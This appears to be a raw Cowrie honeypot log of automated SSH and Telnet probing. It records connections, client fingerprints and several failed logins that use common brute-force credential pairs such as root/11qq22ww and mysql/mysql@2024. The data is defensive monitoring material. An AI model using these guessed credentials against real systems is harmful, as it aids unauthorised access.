{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:43.584606Z","src_ip":"161.248.189.72","session":"004cc53b6542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"1234qwer","message":"login attempt [ali/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:44.527240Z","src_ip":"161.248.189.72","session":"004cc53b6542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:45.757336Z","src_ip":"161.248.189.72","session":"004cc53b6542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.46328926086426,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:46.401378Z","src_ip":"135.148.33.91","session":"714cdd930546","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49060,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d052d9b4df0","protocol":"telnet","message":"New connection: 135.148.33.91:49060 (159.203.135.109:23) [session: 7d052d9b4df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:46.458873Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":39189,"dst_ip":"159.203.135.109","dst_port":22,"session":"97b5a9e695f8","protocol":"ssh","message":"New connection: 185.158.22.150:39189 (159.203.135.109:22) [session: 97b5a9e695f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:47.550272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:47.554670Z","src_ip":"185.158.22.150","session":"97b5a9e695f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:47.714441Z","src_ip":"185.158.22.150","session":"97b5a9e695f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123qweasdzxc","message":"login attempt [test/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:48.382897Z","src_ip":"185.158.22.150","session":"97b5a9e695f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:49.948351Z","src_ip":"185.158.22.150","session":"97b5a9e695f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.69322371482849,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:11:58.683156Z","src_ip":"135.148.33.91","session":"1bbb7a965a07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":32858,"dst_ip":"159.203.135.109","dst_port":23,"session":"e16574fcc012","protocol":"telnet","message":"New connection: 135.148.33.91:32858 (159.203.135.109:23) [session: e16574fcc012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:07.698173Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34188,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5570de92625","protocol":"telnet","message":"New connection: 135.148.33.91:34188 (159.203.135.109:23) [session: c5570de92625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:12.791656Z"}
{"eventid":"cowrie.session.closed","duration":47.159809589385986,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:13.862719Z","src_ip":"135.148.33.91","session":"3aebf9d7ca0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.2946081161499,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:15.846646Z","src_ip":"135.148.33.91","session":"51e113b50e3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38320,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ecea8b3ea85","protocol":"telnet","message":"New connection: 135.148.33.91:38320 (159.203.135.109:23) [session: 6ecea8b3ea85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:17.791589Z"}
{"eventid":"cowrie.session.closed","duration":35.107043743133545,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:21.565822Z","src_ip":"135.148.33.91","session":"7d052d9b4df0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":42638,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee614f0d6d81","protocol":"telnet","message":"New connection: 135.148.33.91:42638 (159.203.135.109:23) [session: ee614f0d6d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:24.188503Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":14308,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b6bd4fb1bd1","protocol":"ssh","message":"New connection: 185.158.22.150:14308 (159.203.135.109:22) [session: 1b6bd4fb1bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:33.021833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:33.026328Z","src_ip":"185.158.22.150","session":"1b6bd4fb1bd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:33.823018Z","src_ip":"185.158.22.150","session":"1b6bd4fb1bd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@2024","message":"login attempt [mysql/mysql@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:34.295844Z","src_ip":"185.158.22.150","session":"1b6bd4fb1bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:35.459097Z","src_ip":"185.158.22.150","session":"1b6bd4fb1bd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50008,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc24518a511d","protocol":"telnet","message":"New connection: 135.148.33.91:50008 (159.203.135.109:23) [session: fc24518a511d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:37.132253Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50632,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fb87753126f","protocol":"telnet","message":"New connection: 135.148.33.91:50632 (159.203.135.109:23) [session: 6fb87753126f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:38.204118Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":60528,"dst_ip":"10.17.0.5","dst_port":22,"session":"a517158d1188","protocol":"ssh","message":"New connection: 161.248.189.72:60528 (10.17.0.5:22) [session: a517158d1188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:43.392391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:43.397136Z","src_ip":"161.248.189.72","session":"a517158d1188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:43.627627Z","src_ip":"161.248.189.72","session":"a517158d1188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.08229041099548,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:43.780351Z","src_ip":"135.148.33.91","session":"e16574fcc012","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"11qq22ww","message":"login attempt [root/11qq22ww] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:44.576139Z","src_ip":"161.248.189.72","session":"a517158d1188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:45.809279Z","src_ip":"161.248.189.72","session":"a517158d1188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.69606351852417,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:46.487561Z","src_ip":"135.148.33.91","session":"c5570de92625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.260969400405884,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:12:53.052354Z","src_ip":"135.148.33.91","session":"6ecea8b3ea85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.89040279388428,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:01.078830Z","src_ip":"135.148.33.91","session":"ee614f0d6d81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38674,"dst_ip":"159.203.135.109","dst_port":23,"session":"39763863394d","protocol":"telnet","message":"New connection: 135.148.33.91:38674 (159.203.135.109:23) [session: 39763863394d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:08.159302Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39830,"dst_ip":"159.203.135.109","dst_port":23,"session":"d96f9aa6f7d1","protocol":"telnet","message":"New connection: 135.148.33.91:39830 (159.203.135.109:23) [session: d96f9aa6f7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:09.217747Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40070,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c95056a3d8b","protocol":"telnet","message":"New connection: 135.148.33.91:40070 (159.203.135.109:23) [session: 3c95056a3d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:09.590631Z"}
{"eventid":"cowrie.session.closed","duration":35.464770555496216,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:12.596858Z","src_ip":"135.148.33.91","session":"fc24518a511d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.528470039367676,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:14.732496Z","src_ip":"135.148.33.91","session":"6fb87753126f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":16814,"dst_ip":"159.203.135.109","dst_port":22,"session":"94622b1f91f6","protocol":"ssh","message":"New connection: 185.158.22.150:16814 (159.203.135.109:22) [session: 94622b1f91f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:18.114714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:18.120018Z","src_ip":"185.158.22.150","session":"94622b1f91f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:18.281994Z","src_ip":"185.158.22.150","session":"94622b1f91f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"qwerty","message":"login attempt [es/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:18.967873Z","src_ip":"185.158.22.150","session":"94622b1f91f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:20.132305Z","src_ip":"185.158.22.150","session":"94622b1f91f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46020,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fa39dcd72c9","protocol":"telnet","message":"New connection: 135.148.33.91:46020 (159.203.135.109:23) [session: 2fa39dcd72c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:21.388197Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":37668,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8a79d794cf7","protocol":"ssh","message":"New connection: 194.59.206.2:37668 (10.17.0.5:22) [session: b8a79d794cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:23.113625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:23.122573Z","src_ip":"194.59.206.2","session":"b8a79d794cf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:23.216102Z","src_ip":"194.59.206.2","session":"b8a79d794cf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:23.318144Z","src_ip":"194.59.206.2","session":"b8a79d794cf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52820,"dst_ip":"159.203.135.109","dst_port":23,"session":"7962e22db0ed","protocol":"telnet","message":"New connection: 135.148.33.91:52820 (159.203.135.109:23) [session: 7962e22db0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:31.856250Z"}
{"eventid":"cowrie.session.closed","duration":120.00325083732605,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:33.866824Z","src_ip":"104.140.145.149","session":"7afa7dc49e67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55452,"dst_ip":"159.203.135.109","dst_port":23,"session":"0267a14567e7","protocol":"telnet","message":"New connection: 135.148.33.91:55452 (159.203.135.109:23) [session: 0267a14567e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:36.403922Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56860,"dst_ip":"159.203.135.109","dst_port":23,"session":"c16c68eac91c","protocol":"telnet","message":"New connection: 135.148.33.91:56860 (159.203.135.109:23) [session: c16c68eac91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:38.712084Z"}
